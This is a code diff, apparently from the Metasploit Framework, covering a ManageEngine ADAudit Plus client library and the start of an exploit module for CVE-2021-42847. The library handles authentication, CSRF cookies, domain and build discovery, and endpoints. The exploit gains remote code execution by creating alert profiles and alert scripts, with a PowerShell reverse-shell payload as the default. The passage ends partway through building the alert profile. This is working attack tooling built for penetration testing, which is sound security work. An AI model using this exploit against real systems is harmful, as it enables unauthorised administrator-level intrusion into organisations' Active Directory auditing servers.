unless res_initial_cookies.headers.include?('Set-Cookie') && res_initial_cookies.get_cookies =~ /adapcsrf=[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}/
|
||||
return {
|
||||
'status' => adaudit_plus_status::UNEXPECTED_REPLY,
|
||||
'message' => 'Failed to obtain the baseline cookies needed to proceed with authentication.'
|
||||
}
|
||||
end
|
||||
|
||||
# Visit the adaudit_plus_jump_to_js_uri page to grab more cookies needed for authentication.
|
||||
vprint_status('Attempting to obtain the required cookies for authentication')
|
||||
|
||||
res_extra_cookies = send_request_cgi({
|
||||
'uri' => adaudit_plus_jump_to_js_uri,
|
||||
'method' => 'GET',
|
||||
'keep_cookies' => true
|
||||
})
|
||||
|
||||
unless res_extra_cookies
|
||||
return {
|
||||
'status' => adaudit_plus_status::CONNECTION_FAILED,
|
||||
'message' => 'Connection failed.'
|
||||
}
|
||||
end
|
||||
|
||||
# check if we have a new adapcsrf cookie with the expected format, which is different
|
||||
# from the initial adapcsrf cookie format that we got before visiting the adaudit_plus_jump_to_js_uri URI.
|
||||
unless res_extra_cookies.code == 200 && res_extra_cookies.headers.include?('Set-Cookie') && res_extra_cookies.get_cookies =~ /adapcsrf=[a-f0-9]{128}/
|
||||
return {
|
||||
'status' => adaudit_plus_status::UNEXPECTED_REPLY,
|
||||
'message' => 'Failed to obtain the jump_to_js cookies required for authentication.'
|
||||
}
|
||||
end
|
||||
|
||||
vprint_status('Trying to authenticate...')
|
||||
post_vars = {
|
||||
'forChecking' => '',
|
||||
'j_username' => user.to_s,
|
||||
'j_password' => pass.to_s,
|
||||
'domainName' => auth_domain.to_s,
|
||||
'AUTHRULE_NAME' => 'Authenticator'
|
||||
}
|
||||
|
||||
res_login = send_request_cgi({
|
||||
'uri' => adaudit_plus_login_uri,
|
||||
'method' => 'POST',
|
||||
'keep_cookies' => true,
|
||||
'vars_post' => post_vars
|
||||
})
|
||||
|
||||
# Check to see if the connection succeeded.
|
||||
return {
|
||||
'status' => adaudit_plus_status::CONNECTION_FAILED,
|
||||
'message' => 'Connection failed'
|
||||
} unless res_login
|
||||
|
||||
# Check to see if we got the right response code and the expected cookies.
|
||||
unless res_login.code == 303 && res_login.headers.include?('Set-Cookie')
|
||||
# Matches something like JSESSIONIDADAP=50E42FBF96E820A6099A1F38FA5A4854; JSESSIONIDADAPSSO=7EB091F6BB9A7A4C4476419DFC11E2A1;
|
||||
# Or this JSESSIONIDADAP=50E42FBF96E820A6099A1F38FA5A4854; JSESSIONIDSSO=7EB091F6BB9A7A4C4476419DFC11E2A1;
|
||||
# Or even this JSESSIONIDADAP=50E42FBF96E820A6099A1F38FA5A4854; JSESSIONIDSSO=7EB091F6BB9A7A4C4476419DFC11E2A1
|
||||
unless res_login.get_cookies =~ /(?:JSESSIONID[A-Z].*?=[0-9A-Z]{32};{0,1} {0,1}){2}/
|
||||
return {
|
||||
'status' => adaudit_plus_status::NO_ACCESS,
|
||||
'message' => 'Failed to authenticate.'
|
||||
}
|
||||
end
|
||||
end
|
||||
|
||||
# Check if we are actually logged in by visiting the home page.
|
||||
res_post_auth = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'method' => 'GET',
|
||||
'keep_cookies' => true
|
||||
})
|
||||
|
||||
return {
|
||||
'status' => adaudit_plus_status::CONNECTION_FAILED,
|
||||
'message' => 'Connection failed'
|
||||
} unless res_post_auth
|
||||
|
||||
unless res_post_auth.code == 200 && res_post_auth.body.include?('ManageEngine ADAudit Plus web client is initializing')
|
||||
return {
|
||||
'status' => adaudit_plus_status::NO_ACCESS,
|
||||
'message' => 'The web app failed to load after authenticating'
|
||||
}
|
||||
end
|
||||
|
||||
# Return the value of the adapcsrf cookie, which will be required for later actions.
|
||||
adapcsrf_cookie = cookie_jar.cookies.select { |k| k.name == 'adapcsrf' }&.first
|
||||
if adapcsrf_cookie.blank? || adapcsrf_cookie.value.blank?
|
||||
return {
|
||||
'status' => adaudit_plus_status::NO_ACCESS,
|
||||
'message' => 'Failed to obtain the required adapcsrf cookie'
|
||||
}
|
||||
end
|
||||
|
||||
# In order to get a cookie we can actually use, we need to obtain the configured domains via the API,
|
||||
# so we will call adaudit_plus_grab_configured_domains to retrieve this information for us.
|
||||
# Note that adaudit_plus_obtain_configured_domains uses the same return format as this method.
|
||||
adaudit_plus_grab_configured_domains(adapcsrf_cookie.value, only_get_cookie)
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,16 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::StatusCodes
|
||||
SUCCESS = 0
|
||||
CONNECTION_FAILED = 1
|
||||
UNEXPECTED_REPLY = 2
|
||||
NO_ACCESS = 3
|
||||
NO_DOMAINS = 4
|
||||
NO_BUILD_NUMBER = 5
|
||||
|
||||
# Alias for Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::StatusCodes
|
||||
# @return [Module] Returns the Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::StatusCodes module reference.
|
||||
def adaudit_plus_status
|
||||
Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::StatusCodes
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,262 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::TargetInfo
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::StatusCodes
|
||||
include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::URIs
|
||||
|
||||
# Check that a target is likely running ManageEngine ADAudit Plus
|
||||
#
|
||||
# @return [Hash] Hash containing a `status` key, which is used to hold a
|
||||
# status value as an Integer value, a `message` key, which is used
|
||||
# to hold a message associated with the status value as a String,
|
||||
# and an optional 'server_response' key, which is used to hold the
|
||||
# response body (String) received from the server.
|
||||
def adaudit_plus_target_check
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
unless res
|
||||
return {
|
||||
'status' => adaudit_plus_status::CONNECTION_FAILED,
|
||||
'message' => 'Connection failed.'
|
||||
}
|
||||
end
|
||||
|
||||
if res.code == 200 && res.body =~ /<title>ADAudit Plus/
|
||||
return {
|
||||
'status' => adaudit_plus_status::SUCCESS,
|
||||
'message' => 'The target appears to be MangeEngine ADAudit Plus',
|
||||
'server_response' => res.body
|
||||
}
|
||||
end
|
||||
|
||||
{
|
||||
'status' => adaudit_plus_status::UNEXPECTED_REPLY,
|
||||
'message' => 'The target does not appear to be MangeEngine ADAudit Plus',
|
||||
}
|
||||
end
|
||||
|
||||
# Extract the configured aliases for the configured Active Directory
|
||||
# domains from a HTTP response body.
|
||||
#
|
||||
# @param res_body [String] HTTP response body obtained via a GET request to the ADAudit Plus base path
|
||||
# @return [Hash] Hash containing a `status` key, which is used to hold a
|
||||
# status value as an Integer value, a `message` key, which is used
|
||||
# to hold a message associated with the status value as a String,
|
||||
# and a 'domain_aliases' key, which holds an Array of Strings for
|
||||
# the configured domain aliases, or an empty Array if no domain
|
||||
# aliases were found.
|
||||
def adaudit_plus_grab_domain_aliases(res_body)
|
||||
doc = ::Nokogiri::HTML(res_body)
|
||||
css_dom_name = doc.css('select#domainName')&.first
|
||||
domain_aliases = []
|
||||
|
||||
no_domains_response = {
|
||||
'status' => adaudit_plus_status::NO_DOMAINS,
|
||||
'message' => 'No configured Active Directory domains were found.',
|
||||
'domain_aliases' => domain_aliases
|
||||
}
|
||||
|
||||
return no_domains_response if css_dom_name.blank?
|
||||
|
||||
css_configured_domains = css_dom_name.css('option')
|
||||
return no_domains_response if css_configured_domains.blank?
|
||||
|
||||
css_configured_domains.each do |domain|
|
||||
next unless domain&.keys&.include?('value')
|
||||
value = domain['value']
|
||||
domain_aliases << value
|
||||
end
|
||||
|
||||
return no_domains_response if domain_aliases.empty?
|
||||
|
||||
{
|
||||
'status' => adaudit_plus_status::SUCCESS,
|
||||
'message' => "Identified #{domain_aliases.length} configured authentication domain(s): #{domain_aliases.join(', ')}",
|
||||
'domain_aliases' => domain_aliases
|
||||
}
|
||||
end
|
||||
|
||||
# Performs an API call to obtain the configured domains. The adapcsrf
|
||||
# cookie obtained from this request is necessary to perform
|
||||
# further authenticated actions.
|
||||
#
|
||||
# @param adapcsrf_cookie [String] A valid adapcsrf_cookie obtained via a successful login action
|
||||
# @param only_get_cookie [Boolean] If this is enabled, the method will only try to obtain an
|
||||
# 'adapcsrf' cookie that is required to perform API calls.
|
||||
# @return [Hash] Hash containing a `status` key, which is used to hold a
|
||||
# status value as an Integer value, an optional `message` key, which is
|
||||
# used to hold a message associated with the status value as a String,
|
||||
# an optional `adapcsrf_cookie` key which maps to a String containing the
|
||||
# adapcsrf cookie to be used for authentication purposes, and an
|
||||
# optional `configured_domains` key which maps to an Array of Strings,
|
||||
# each containing a domain name that has been configured to be used by
|
||||
# the ManageEngine ADAudit Plus target.
|
||||
def adaudit_plus_grab_configured_domains(adapcsrf_cookie, only_get_cookie = false)
|
||||
vprint_status('Attempting to obtain the list of configured domains...') unless only_get_cookie
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => adaudit_plus_configured_domains_uri,
|
||||
'method' => 'POST',
|
||||
'keep_cookies' => true,
|
||||
'vars_post' => {
|
||||
'JSONString' => '{"checkGDPR":true}',
|
||||
'adapcsrf' => adapcsrf_cookie.to_s
|
||||
}
|
||||
})
|
||||
|
||||
if only_get_cookie
|
||||
purpose = 'obtain the adapcsrf cookie required to perform API calls'
|
||||
else
|
||||
purpose = 'obtain the list of configured domains'
|
||||
end
|
||||
|
||||
unless res
|
||||
return {
|
||||
'status' => adaudit_plus_status::CONNECTION_FAILED,
|
||||
'message' => "Connection failed while attempting to #{purpose}."
|
||||
}
|
||||
end
|
||||
|
||||
# if we didn't get an expected response, we should always return since we won't be able to return the domains and/or a valid cookie
|
||||
unless res.code == 200 && res.body&.include?('domainFullList')
|
||||
return {
|
||||
'status' => adaudit_plus_status::UNEXPECTED_REPLY,
|
||||
'message' => "Unexpected reply while attempting to #{purpose}."
|
||||
}
|
||||
end
|
||||
|
||||
# try to obtain the adapcsrf cookie
|
||||
adapcsrf_cookie = cookie_jar.cookies.select { |k| k.name == 'adapcsrf' }&.first
|
||||
got_cookie = adapcsrf_cookie && adapcsrf_cookie.value.present? ? true : false
|
||||
|
||||
# if we have no valid cookie there is no point in continuing
|
||||
unless got_cookie
|
||||
return {
|
||||
'status' => adaudit_plus_status::NO_ACCESS,
|
||||
'message' => 'Failed to obtain the adapcsrf cookie required to perform API calls'
|
||||
}
|
||||
end
|
||||
|
||||
# if we only wanted to obtain the cookie, we can return here
|
||||
if only_get_cookie
|
||||
return {
|
||||
'status' => adaudit_plus_status::SUCCESS,
|
||||
'message' => 'Obtained the adapcsrf cookie required to perform API calls!',
|
||||
'adapcsrf_cookie' => adapcsrf_cookie.value
|
||||
}
|
||||
end
|
||||
|
||||
# if we are here, we want to obtain the configured domains as well as the cookie
|
||||
configured_domains = []
|
||||
begin
|
||||
domain_info = JSON.parse(res.body)
|
||||
if domain_info && domain_info.include?('domainFullList') && !domain_info['domainFullList'].empty?
|
||||
domain_full_list = domain_info['domainFullList']
|
||||
domain_full_list.each do |domain|
|
||||
next unless domain.is_a?(Hash) && domain.key?('name')
|
||||
|
||||
domain_name = domain['name']
|
||||
next if domain_name.empty?
|
||||
|
||||
configured_domains << domain_name
|
||||
end
|
||||
else
|
||||
print_error('Failed to identify any configured domains.')
|
||||
end
|
||||
rescue JSON::ParserError => e
|
||||
print_error('Failed to identify any configured domains - The server response did not contain valid JSON.')
|
||||
print_error("Error was: #{e.message}")
|
||||
end
|
||||
|
||||
if configured_domains.empty?
|
||||
return {
|
||||
'status' => adaudit_plus_status::NO_DOMAINS,
|
||||
'message' => 'Failed to obtain the list of configured domains.',
|
||||
'adapcsrf_cookie' => adapcsrf_cookie.value
|
||||
}
|
||||
end
|
||||
|
||||
print_status("Found #{configured_domains.length} configured domain(s): #{configured_domains.join(', ')}")
|
||||
{
|
||||
'status' => adaudit_plus_status::SUCCESS,
|
||||
'message' => 'Obtained the adapcsrf cookie required to perform API calls along with the configured domains!',
|
||||
'adapcsrf_cookie' => adapcsrf_cookie.value,
|
||||
'configured_domains' => configured_domains
|
||||
}
|
||||
end
|
||||
|
||||
# Check the build number for the ADAudit Plus installation
|
||||
#
|
||||
# @param adapcsrf_cookie [String] A valid ADAP CSRF cookie for API calls.
|
||||
# @see adaudit_plus_login The function which can be called to obtain a
|
||||
# valid CSRF cookie that can be used by this code.
|
||||
# @return [Hash] Hash containing a `status` key, which is used to hold a
|
||||
# status value as an Integer value, a `message` key, which is used
|
||||
# to hold a message associated with the status value as a String,
|
||||
# and an optional 'build_version' key, which is used to hold an object
|
||||
# of type Rex::Version if the build number was successfully obtained.
|
||||
def adaudit_plus_grab_build(adapcsrf_cookie)
|
||||
vprint_status('Attempting to obtain the ADAudit Plus build number')
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => adaudit_plus_license_details_uri,
|
||||
'method' => 'POST',
|
||||
'keep_cookies' => true,
|
||||
'vars_post' => { 'adapcsrf' => adapcsrf_cookie.to_s }
|
||||
})
|
||||
|
||||
unless res
|
||||
return {
|
||||
'status' => adaudit_plus_status::CONNECTION_FAILED,
|
||||
'message' => 'Connection failed while attempting to obtain the build number.'
|
||||
}
|
||||
end
|
||||
|
||||
unless res.code == 200
|
||||
return {
|
||||
'status' => adaudit_plus_status::UNEXPECTED_REPLY,
|
||||
'message' => "Received unexpected HTTP response #{res.code} when attempting to obtain the build number."
|
||||
}
|
||||
end
|
||||
|
||||
build = res.body&.scan(/"buildNumber":"(\s*\d{4}\s*)",/)&.flatten&.first
|
||||
if build.blank?
|
||||
return {
|
||||
'status' => adaudit_plus_status::NO_BUILD_NUMBER,
|
||||
'message' => 'No build number was obtained.'
|
||||
}
|
||||
end
|
||||
|
||||
unless build.strip =~ /^\d{4}$/
|
||||
return {
|
||||
'status' => adaudit_plus_status::UNEXPECTED_REPLY,
|
||||
'message' => "Received an invalid build number: #{build}"
|
||||
}
|
||||
end
|
||||
|
||||
{
|
||||
'status' => adaudit_plus_status::SUCCESS,
|
||||
'message' => "The target is ADAudit Plus #{build}",
|
||||
'build_version' => Rex::Version.new(build)
|
||||
}
|
||||
end
|
||||
|
||||
# Check if the GPOWatcherData endpoint is available
|
||||
#
|
||||
# @return [Integer] Status code
|
||||
def gpo_watcher_data_check
|
||||
res = send_request_cgi({
|
||||
'uri' => adaudit_plus_gpo_watcher_data_uri,
|
||||
'method' => 'POST'
|
||||
})
|
||||
|
||||
return adaudit_plus_status::CONNECTION_FAILED unless res
|
||||
return adaudit_plus_status::NO_ACCESS unless res.code == 200
|
||||
|
||||
adaudit_plus_status::SUCCESS
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,55 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::URIs
|
||||
# Required for target_uri and normalize_uri
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
# Returns GPOWatcherData endpoint URI on the ManageEngine ADAudit Plus target.
|
||||
#
|
||||
# @return [String] ManageEngine ADAudit Plus GPOWatcherData endpoint URI
|
||||
def adaudit_plus_gpo_watcher_data_uri
|
||||
normalize_uri(target_uri.path, 'api', 'agent', 'tabs', 'agentGPOWatcherData')
|
||||
end
|
||||
|
||||
# Returns the Login URI on the ManageEngine ADAudit Plus target.
|
||||
#
|
||||
# @return [String] ManageEngine ADAudit Plus Login URI
|
||||
def adaudit_plus_login_uri
|
||||
normalize_uri(target_uri.path, 'j_security_check')
|
||||
end
|
||||
|
||||
# Returns the License Details URI on the ManageEngine ADAudit Plus target.
|
||||
#
|
||||
# @return [String] ManageEngine ADAudit Plus License Details URI
|
||||
def adaudit_plus_license_details_uri
|
||||
normalize_uri(target_uri.path, 'api', 'json', 'tabs', 'showLicenseDetails')
|
||||
end
|
||||
|
||||
# Returns the JumpTo.js URI on the ManageEngine ADAudit Plus target.
|
||||
#
|
||||
# @return [String] ManageEngine ADAudit Plus JumpTo.js URI
|
||||
def adaudit_plus_jump_to_js_uri
|
||||
normalize_uri(target_uri.path, 'adsf', 'js', 'common', 'JumpTo.js')
|
||||
end
|
||||
|
||||
# Returns the configuredDomainsList URI on the ManageEngine ADAudit Plus target.
|
||||
#
|
||||
# @return [String] ManageEngine ADAudit Plus configuredDomainsList URI
|
||||
def adaudit_plus_configured_domains_uri
|
||||
normalize_uri(target_uri.path, 'api', 'json', 'configuredDomainsList')
|
||||
end
|
||||
|
||||
# Returns the jsMessage URI on the ManageEngine ADAudit Plus target.
|
||||
#
|
||||
# @return [String] ManageEngine ADAudit Plus jsMessage URI
|
||||
def adaudit_api_js_message_uri
|
||||
normalize_uri(target_uri.path, 'api', 'json', 'jsMessage')
|
||||
end
|
||||
|
||||
# Returns the URI to save alert profiles on the ManageEngine ADAudit Plus target.
|
||||
#
|
||||
# @return [String] ManageEngine ADAudit Plus URI to save alert profiles
|
||||
def adaudit_api_alertprofiles_save_uri
|
||||
normalize_uri(target_uri.path, 'api', 'json', 'config', 'alertprofiles', 'save')
|
||||
end
|
||||
end
|
||||
@@ -77,6 +77,11 @@ module Rex::Proto::MsDtyp
|
||||
# weirdly doesn't mention this needs to be 4 byte aligned for us to read it correctly,
|
||||
# which the RubySMB::Dcerpc::Uuid definition takes care of.
|
||||
class MsDtypGuid < RubySMB::Dcerpc::Uuid
|
||||
def self.random_generate
|
||||
# Taken from the "D" format as specified in
|
||||
# https://learn.microsoft.com/en-us/dotnet/api/system.guid.tostring?view=net-7.0
|
||||
"{#{Rex::Text.rand_text_hex(8)}-#{Rex::Text.rand_text_hex(4)}-#{Rex::Text.rand_text_hex(4)}-#{Rex::Text.rand_text_hex(4)}-#{Rex::Text.rand_text_hex(12)}}".downcase
|
||||
end
|
||||
end
|
||||
|
||||
# Definitions taken from [2.4.4.1 ACE_HEADER](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/628ebb1d-c509-4ea0-a10f-77ef97ca4586)
|
||||
|
||||
@@ -0,0 +1,606 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
Rank = ExcellentRanking
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'ManageEngine ADAudit Plus Authenticated File Write RCE',
|
||||
'Description' => %q{
|
||||
This module exploits security issues in ManageEngine ADAudit Plus
|
||||
prior to 7006 that allow authenticated users to execute arbitrary
|
||||
code by creating a custom alert profile and leveraging its custom
|
||||
alert script component.
|
||||
|
||||
The module first runs a few checks to test the provided
|
||||
credentials, retrieve the configured domain(s) and obtain the
|
||||
build number of the target ADAudit Plus server.
|
||||
|
||||
If the credentials are valid and the target is
|
||||
vulnerable, the module creates an alert profile that will be
|
||||
triggered for any failed login attempt to the configured domain.
|
||||
|
||||
For versions prior to build 7004, the payload is directly inserted
|
||||
in the custom alert script component of the alert profile.
|
||||
|
||||
For versions 7004 and 7005, the module leverages an arbitrary file
|
||||
write vulnerability (CVE-2021-42847) to create a Powershell script
|
||||
in the alert_scripts directory that contains the payload. The name
|
||||
of this script is then provided as the value for the custom alert
|
||||
script component of the alert profile.
|
||||
|
||||
This module requires valid credentials for an account with the
|
||||
privileges to create alert scripts. It has been successfully tested
|
||||
against ManageEngine ADAudit Plus builds 7003 and 7005 running on
|
||||
Windows Server 2012 R2.
|
||||
|
||||
Successful exploitation will result in RCE as the user running
|
||||
ManageEngine ADAudit Plus, which will typically be the local
|
||||
administrator.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Moon', # CVE-2021-42847 discovery
|
||||
'Erik Wynter' # @wyntererik - Additional research and Metasploit module
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2021-42847'],
|
||||
['URL', 'https://pitstop.manageengine.com/portal/en/community/topic/fix-released-for-a-vulnerability-in-manageengine-adaudit-plus'],
|
||||
['URL', 'https://www.manageengine.com/products/active-directory-audit/adaudit-plus-release-notes.html']
|
||||
],
|
||||
'Privileged' => true,
|
||||
'DisclosureDate' => '2021-10-01',
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Targets' => [
|
||||
[
|
||||
'Windows Command',
|
||||
{
|
||||
'Type' => :win_cmd,
|
||||
'Arch' => ARCH_CMD,
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
|
||||
}
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => {
|
||||
'RPORT' => 8081,
|
||||
'WfsDelay' => 5 # triggering the payload may take a bit, let's not be too hasty
|
||||
},
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [FIRST_ATTEMPT_FAIL], # This exploit may fail on its first few attempts whilst the remote system is processing alert updates.
|
||||
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptString.new('TARGETURI', [true, 'The base path to ManageEngine ADAudit Plus', '/']),
|
||||
OptString.new('AUTH_DOMAIN', [true, 'ADAudit Plus authentication domain (default is ADAuditPlus Authentication)', 'ADAuditPlus Authentication']),
|
||||
OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),
|
||||
OptString.new('PASSWORD', [true, 'Password to authenticate with', 'admin']),
|
||||
])
|
||||
end
|
||||
|
||||
def auth_domain
|
||||
datastore['AUTH_DOMAIN']
|
||||
end
|
||||
|
||||
def username
|
||||
datastore['USERNAME']
|
||||
end
|
||||
|
||||
def password
|
||||
datastore['PASSWORD']
|
||||
end
|
||||
|
||||
def delete_alert(adapcsrf_cookie)
|
||||
print_status("Attempting to delete alert profile #{@alert_name}")
|
||||
# let's try and get the the ID of the alert we want to delete
|
||||
res_get_alert = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'api', 'json', 'leftTrees', 'getLeftTreeList'),
|
||||
'method' => 'POST',
|
||||
'keep_cookies' => true,
|
||||
'vars_post' => {
|
||||
'TAB_ID' => '5', # this cannot be randomized
|
||||
'adapcsrf' => adapcsrf_cookie
|
||||
}
|
||||
})
|
||||
|
||||
unless res_get_alert
|
||||
print_warning("Connection failed when attempting to obtain the alert profile ID #{@alert_name}. Manual cleanup required.")
|
||||
return
|
||||
end
|
||||
|
||||
unless res_get_alert.code == 200 && !res_get_alert.body.empty?
|
||||
print_warning("Received unexpected reply when attempting to obtain the alert profile ID #{@alert_name}. Manual cleanup required.")
|
||||
return
|
||||
end
|
||||
|
||||
alert_id = res_get_alert.body&.scan(/modelId":(\d+),"name":"#{@alert_name}/)&.flatten&.first
|
||||
if alert_id.blank?
|
||||
print_warning("Failed to obtain the alert profile ID #{@alert_name}. Manual cleanup required.")
|
||||
return
|
||||
end
|
||||
|
||||
# delete the alert
|
||||
res_delete_alert = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'api', 'json', 'config', 'alertprofiles', 'delete'),
|
||||
'method' => 'POST',
|
||||
'keep_cookies' => true,
|
||||
'vars_post' => {
|
||||
'data' => { 'ids' => [alert_id] }.to_json,
|
||||
'adapcsrf' => adapcsrf_cookie
|
||||
}
|
||||
})
|
||||
|
||||
unless res_delete_alert
|
||||
print_warning("Connection failed when attempting to delete alert profile #{@alert_name}. Manual cleanup required.")
|
||||
return
|
||||
end
|
||||
|
||||
unless res_delete_alert.code == 200 && res_delete_alert.body&.include?('Successfully deleted the alert profile')
|
||||
print_warning("Received unexpected reply when attempting to delete alert profile #{@alert_name}. Manual cleanup required.")
|
||||
return
|
||||
end
|
||||
|
||||
print_good("Successfully deleted alert profile #{@alert_name}")
|
||||
end
|
||||
|
||||
def create_alert_profile
|
||||
if @exploit_method == 'cve_2021_42847'
|
||||
print_status('Attempting to authenticate again in order to retrieve the required cookies.')
|
||||
# We have to authenticate again in order to get the required cookie, so reset the cookie cache
|
||||
cookie_jar.clear
|
||||
login_results = adaudit_plus_login(auth_domain, username, password, true)
|
||||
login_msg = login_results['message']
|
||||
case login_results['status']
|
||||
when adaudit_plus_status::CONNECTION_FAILED
|
||||
fail_with(Failure::Unreachable, login_msg)
|
||||
when adaudit_plus_status::UNEXPECTED_REPLY
|
||||
fail_with(Failure::UnexpectedReply, login_msg)
|
||||
when adaudit_plus_status::NO_ACCESS
|
||||
fail_with(Failure::NoAccess, login_msg)
|
||||
when adaudit_plus_status::SUCCESS
|
||||
# just to distinguish it from any other potential statuses this method may return in the future
|
||||
else
|
||||
# this covers other potential statuses that this method may return in the future
|
||||
# note that here the login method should never return adaudit_plus_status::NO_DOMAINS
|
||||
# however, if it would do so due to some library change, treating it as an unknown failure makes sense
|
||||
fail_with(Failure::Unknown, login_msg)
|
||||
end
|
||||
|
||||
# Code must have been a success related code so we should have
|
||||
# an adapcsrf_cookie entry within the login results hash.
|
||||
@adapcsrf_cookie = login_results['adapcsrf_cookie']
|
||||
end
|
||||
|
||||
print_status('Attempting to create an alert profile')
|
||||
# visit /api/json/jsMessage to see if we're dealing with 7003 or lower
|
||||
res_check_7004 = send_request_cgi({
|
||||
'uri' => adaudit_api_js_message_uri,
|
||||
'method' => 'POST',
|
||||
'keep_cookies' => true,
|
||||
'vars_post' => { 'adapcsrf' => @adapcsrf_cookie }
|
||||
})
|
||||
|
||||
unless res_check_7004
|
||||
fail_with(Failure::Unreachable, 'Connection failed when trying to get the required info via /api/json/jsMessage')
|
||||
end
|
||||
|
||||
unless res_check_7004.code == 200 && res_check_7004.body&.include?('adap_common_script_info')
|
||||
fail_with(Failure::UnexpectedReply, 'Received unexpected response when trying to get the required info via /api/json/jsMessage')
|
||||
end
|
||||
|
||||
alert_script_7004_msg = 'Your alert profile script path configuration is not compliant with the constraints listed below and needs to '\
|
||||
'be changed. These constraints have been introduced in the latest build of ADAudit Plus 7004, to enhance security'
|
||||
|
||||
if res_check_7004.body&.include?(alert_script_7004_msg)
|
||||
# we are dealing with 7004 or higher, so exploitation can only succeed if the target is vulnerable to CVE-2021-42847
|
||||
unless @exploit_method == 'cve_2021_42847'
|
||||
# let's check for the CVE-2021-42847 endpoint in case the user has disabled autocheck
|
||||
gpo_watcher_status = gpo_watcher_data_check
|
||||
if gpo_watcher_status == adaudit_plus_status::SUCCESS
|
||||
@exploit_method = 'cve_2021_42847'
|
||||
else
|
||||
fail_with(Failure::NotVulnerable, 'The target is build 7004 or up and not vulnerable to CVE-2021-42847. Exploitation is not possible.')
|
||||
end
|
||||
|
||||
# here we have to authenticate again in order to get the required adapcsrf cookie
|
||||
cookie_jar.clear
|
||||
login_results = adaudit_plus_login(auth_domain, username, password, true)
|
||||
login_msg = login_results['message']
|
||||
case login_results['status']
|
||||
when adaudit_plus_status::CONNECTION_FAILED
|
||||
fail_with(Failure::Unreachable, login_msg)
|
||||
when adaudit_plus_status::UNEXPECTED_REPLY
|
||||
fail_with(Failure::UnexpectedReply, login_msg)
|
||||
when adaudit_plus_status::NO_ACCESS
|
||||
fail_with(Failure::NoAccess, login_msg)
|
||||
when adaudit_plus_status::SUCCESS
|
||||
# just to distinguish it from any other potential statuses this method may return in the future
|
||||
else
|
||||
fail_with(Failure::Unknown, login_msg)
|
||||
end
|
||||
|
||||
@adapcsrf_cookie = login_results['adapcsrf_cookie']
|
||||
end
|
||||
|
||||
# We need to leverage CVE-2021-42847 to create a PowerShell script in /alert_scripts and then use the script name
|
||||
# when creating the alert profile. Therefore call the function to create this alert script and save the name of the
|
||||
# script location.
|
||||
@ps1_script_name = create_alert_script
|
||||
end
|
||||
|
||||
# save the alert profile
|
||||
@alert_name, alert_data = alert_profile_info
|
||||
res_save_alert = send_request_cgi({
|
||||
'uri' => adaudit_api_alertprofiles_save_uri,
|
||||
'method' => 'POST',
|
||||
'keep_cookies' => true,
|
||||
'vars_post' => {
|
||||
'data' => alert_data,
|
||||
'adapcsrf' => @adapcsrf_cookie
|
||||
}
|
||||
})
|
||||
|
||||
unless res_save_alert
|
||||
fail_with(Failure::Unreachable, "Connection failed when trying to create an alert profile via #{adaudit_api_alertprofiles_save_uri}")
|
||||
end
|
||||
|
||||
unless res_save_alert.code == 200 && res_save_alert.body&.include?('Successfully Saved the Alert Profile')
|
||||
print_error("The server sent the following response: #{res_save_alert.body&.strip}")
|
||||
@alert_name = nil # if we are here the alert profile was not created so let's skip cleanup by setting @alert_name to nil
|
||||
fail_with(Failure::UnexpectedReply, "Failed to create an alert profile via #{adaudit_api_alertprofiles_save_uri}")
|
||||
end
|
||||
|
||||
print_good("Successfully created alert profile #{@alert_name}")
|
||||
end
|
||||
|
||||
def alert_profile_info
|
||||
script_location = @ps1_script_name || payload.encoded
|
||||
|
||||
alert_name = rand_text_alphanumeric(8..12)
|
||||
alert_data = {
|
||||
'alertName' => alert_name,
|
||||
'alertDescription' => rand_text_alpha(20..30),
|
||||
'alertSeverity' => '1',
|
||||
'alertMsg' => '%FORMAT_MESSAGE%',
|
||||
'alertIsMailNotify' => false,
|
||||
'alertIsSMSNotify' => false,
|
||||
'monitorList' => [1],
|
||||
